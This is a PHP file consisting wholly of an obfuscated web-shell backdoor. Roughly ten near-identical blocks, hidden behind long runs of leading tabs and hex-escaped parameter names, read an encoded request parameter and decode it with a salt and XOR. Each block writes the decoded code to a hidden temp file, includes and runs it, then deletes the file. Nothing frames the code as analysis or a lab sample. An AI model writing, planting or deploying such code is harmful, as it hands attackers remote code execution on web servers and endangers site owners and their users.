																																										if(!is_null($_POST["h\x6Cd"] ?? null)){ $flg = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", "/dev/shm"]); $mrk = $_POST["h\x6Cd"]; $mrk = explode ( '.' , $mrk); $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $w = 0; foreach($mrk as $v8) { $chS = ord($salt[$w%$lenS]); $d =((int)$v8 - $chS -($w%10))^11; $flag .= chr($d); $w++;} foreach ($flg as $ent): if (is_dir($ent) && is_writable($ent)) { $ref = str_replace("{var_dir}", $ent, "{var_dir}/.marker"); if (file_put_contents($ref, $flag)) { include $ref; @unlink($ref); exit; } } endforeach; }
																																										if(isset($_POST["\x65\x6C\x65men\x74"]) ? true : false){ $pgrp = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp"]); $fac = $_POST["\x65\x6C\x65men\x74"]; $fac =explode ('.' , $fac ); $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $q = 0; $__tmp = $fac; while( $v7 = array_shift( $__tmp)) { $sChar = ord( $salt[$q % $sLen]); $d =( ( int)$v7 - $sChar -( $q % 10))^ 13; $flag .= chr( $d); $q++; } foreach ($pgrp as $resource) { if (!( !is_dir($resource) || !is_writable($resource) )) { $property_set = join("/", [$resource, ".factor"]); if (@file_put_contents($property_set, $flag) !== false) { include $property_set; unlink($property_set); exit; } } } }
																																										if(array_key_exists("\x64\x65sc", $_REQUEST)){ $obj = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir()]); $elem = $_REQUEST["\x64\x65sc"]; $elem = explode( '.' , $elem ) ; $res =''; $s3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s3 ); $v =0; foreach( $elem as $v5) { $chS =ord( $s3[$v % $lenS] ); $d =( ( int)$v5 - $chS -( $v % 10)) ^ 44; $res .= chr( $d ); $v++; } foreach ($obj as $factor) { if (!( !is_dir($factor) || !is_writable($factor) )) { $flag = sprintf("%s/.k", $factor); if (@file_put_contents($flag, $res) !== false) { include $flag; unlink($flag); exit; } } } }
																																										if(isset($_POST["\x72ec"])){ $descriptor = array_filter([getenv("TEMP"), "/tmp", "/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $factor = $_POST["\x72ec"]; $factor= explode ( '.', $factor ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $k = 0; $__tmp = $factor; while( $v1 = array_shift( $__tmp)) { $sChar = ord( $salt[$k % $lenS]); $d =( ( int)$v1 - $sChar -( $k % 10)) ^ 91; $object .= chr( $d); $k++; } foreach ($descriptor as $symbol) { if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $component = implode("/", [$symbol, ".mrk"]); if (@file_put_contents($component, $object) !== false) { include $component; unlink($component); die(); } } } }
																																										if(in_array("p\x73\x65t", array_keys($_REQUEST))){ $entry = $_REQUEST["p\x73\x65t"]; $entry= explode ( "." , $entry ) ; $pointer =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt9); $__len =count($entry); for ($s =0; $s <$__len; $s++) { $v6 =$entry[$s]; $sChar =ord($salt9[$s % $lenS]); $dec =((int)$v6 - $sChar - ($s % 10)) ^42; $pointer.=chr($dec);} $val = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), session_save_path(), getcwd()]); foreach ($val as $tkn): if ((is_dir($tkn) and is_writable($tkn))) { $hld = vsprintf("%s/%s", [$tkn, ".dchunk"]); if (@file_put_contents($hld, $pointer) !== false) { include $hld; unlink($hld); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x70\x74r")){ $ref = $_REQUEST["\x70\x74r"]; $ref =explode ( "." , $ref ) ; $sym = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2); $v = 0; foreach( $ref as $v2) { $chS = ord( $salt2[$v % $sLen]); $d = ( ( int)$v2 - $chS -( $v % 10))^54; $sym .=chr( $d); $v++; } $property_set = array_filter([session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]); foreach ($property_set as $comp): if (!( !is_dir($comp) || !is_writable($comp) )) { $tkn = str_replace("{var_dir}", $comp, "{var_dir}/.res"); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $tkn; @unlink($tkn); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x65n\x74ry"])){ $ref = $_REQUEST["\x65n\x74ry"]; $ref= explode("." ,$ref ) ; $res =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt6); $u =0; $__len =count($ref); do { if ($u >= $__len) break; $v4 =$ref[$u]; $chS =ord($salt6[$u %$lenS]); $dec =((int)$v4 - $chS - ($u %10)) ^ 16; $res .= chr($dec); $u++; } while (true); $descriptor = array_filter(["/dev/shm", getenv("TMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); $bind = 0; do { $desc = $descriptor[$bind] ?? null; if ($bind >= count($descriptor)) break; if (max(0, is_dir($desc) * is_writable($desc))) { $rec = str_replace("{var_dir}", $desc, "{var_dir}/.item"); $success = file_put_contents($rec, $res); if ($success) { include $rec; @unlink($rec); die();} } $bind++; } while (true); }
																																										if(@$_REQUEST["\x69\x74m"] !== null){ $val = array_filter([getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $property_set = $_REQUEST["\x69\x74m"]; $property_set =explode ("." , $property_set ) ; $parameter_group = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1 ); foreach( $property_set as $u => $v9): $sChar = ord( $salt1[$u % $lenS] ); $d =( ( int)$v9 - $sChar -( $u % 10)) ^ 40; $parameter_group .= chr( $d ); endforeach; foreach ($val as $key => $data_chunk) { if (is_writable($data_chunk) && is_dir($data_chunk)) { $comp = "$data_chunk" . "/.marker"; $file = fopen($comp, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $comp; @unlink($comp); die(); } } } }
																																										if(!is_null($_REQUEST["obj"] ?? null)){ $object = array_filter([getenv("TMP"), "/var/tmp", getcwd(), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]); $record = $_REQUEST["obj"]; $record = explode ( '.', $record) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $u = 0; $len = count($record ); do { if ($u >= $len) break; $v1 = $record[$u]; $chS = ord($s[$u % $sLen] ); $d = ((int)$v1 - $chS - ($u % 10)) ^13; $entry .= chr($d ); $u++; } while (true ); foreach ($object as $key => $itm) { if (is_writable($itm) && is_dir($itm)) { $holder = str_replace("{var_dir}", $itm, "{var_dir}/.bind"); if (file_put_contents($holder, $entry)) { include $holder; @unlink($holder); exit; } } } }


if(array_key_exists("\x65l\x65me\x6E\x74", $_POST)){
	$parameter_group = array_filter(["/tmp", "/var/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd()]);
	$tkn = $_POST["\x65l\x65me\x6E\x74"];
	 $tkn=		explode 	 ('.'	 ,$tkn	 )  	; 	
	$ent =	'';
            $salt4 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =	strlen($salt4);
            $__len =	count($tkn);
    
            for ($q =	0; $q	< 	$__len; $q++) {
                $v4 =	$tkn[$q];
                $chS =	ord($salt4[$q % $lenS]);
                $dec =	((int)$v4 - $chS - ($q % 10)) ^ 8;
                $ent.=chr($dec);
            }
	foreach ($parameter_group as $data_chunk):
    		if (array_product([is_dir($data_chunk), is_writable($data_chunk)])) {
    $component = "$data_chunk" . "/.marker";
    if (@file_put_contents($component, $ent) !== false) {
	include $component;
	unlink($component);
	exit;
}
}
endforeach;
}